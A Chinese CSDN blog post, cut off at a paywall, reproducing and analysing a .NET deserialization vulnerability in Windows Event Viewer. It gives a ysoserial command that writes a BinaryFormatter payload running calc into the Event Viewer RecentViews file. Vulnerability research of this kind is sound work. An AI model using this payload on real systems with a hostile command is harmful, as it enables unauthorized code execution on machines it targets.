最新Windows事件查看器.NET反序列化漏洞复现与分析

Brucetg

已于 2022-04-30 18:20:46 修改

阅读量2.5k

点赞数

分类专栏：安全研究文章标签：系统安全安全

于 2022-04-30 18:18:10 首次发布

本文链接：https://blog.csdn.net/wanzt123/article/details/124516476

版权

本文详细介绍了Windows事件查看器的一个.NET反序列化漏洞，包括漏洞描述、复现过程和分析细节。作者在Windows 11 ARM版环境中成功复现了漏洞，并通过Process Monitor和Process Explorer揭示了漏洞利用的流程，指出payload需写入固定名称的RecentViews文件以触发反序列化操作。

摘要由CSDN通过智能技术生成

0x01. 漏洞描述

4月26日在twitter上看到Orange师傅发布了个windows事件查看器的 .Net 反序列化漏洞，感觉有点意思，故抽空简单做个复现与分析。

截屏2022-04-30 上午11.18.46

0x02. 漏洞复现

测试环境：Windows 11，ARM版

作者给的payload：

ysoserial.exe -o raw -f BinaryFormatter -g DataSet -c calc > %LOCALAPPDATA%\Microsoft\Eventv~1\RecentViews

其中，%LOCALAPPDATA% 对应路径为：C:\Users\xxx\AppData\Local，xxx为用户名，

截屏2022-04-30 上午11.31.37

不过本人机器上并没有 Eventv~1 这个目录，遂用 Event Viewer 目录代替，经测试也可以成功。

截屏2022-04-30 上午11.37.26

对应Payload为：

ysoseri

最低0.47元/天解锁文章

Brucetg

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
最新Windows事件查看器.NET反序列化漏洞复现与分析

0x01. 漏洞描述4月26日在twitter上看到Orange师傅发布了个windows事件查看器的 .Net 反序列化漏洞，感觉有点意思，故抽空简单做个复现与分析。0x02. 漏洞复现测试环境：Windows 11，ARM版作者给的payload：ysoserial.exe -o raw -f BinaryFormatter -g DataSet -c calc > %LOCALAPPDATA%\Microsoft\Eventv~1\RecentViews其中，%LOCALAP
复制链接

扫一扫

专栏目录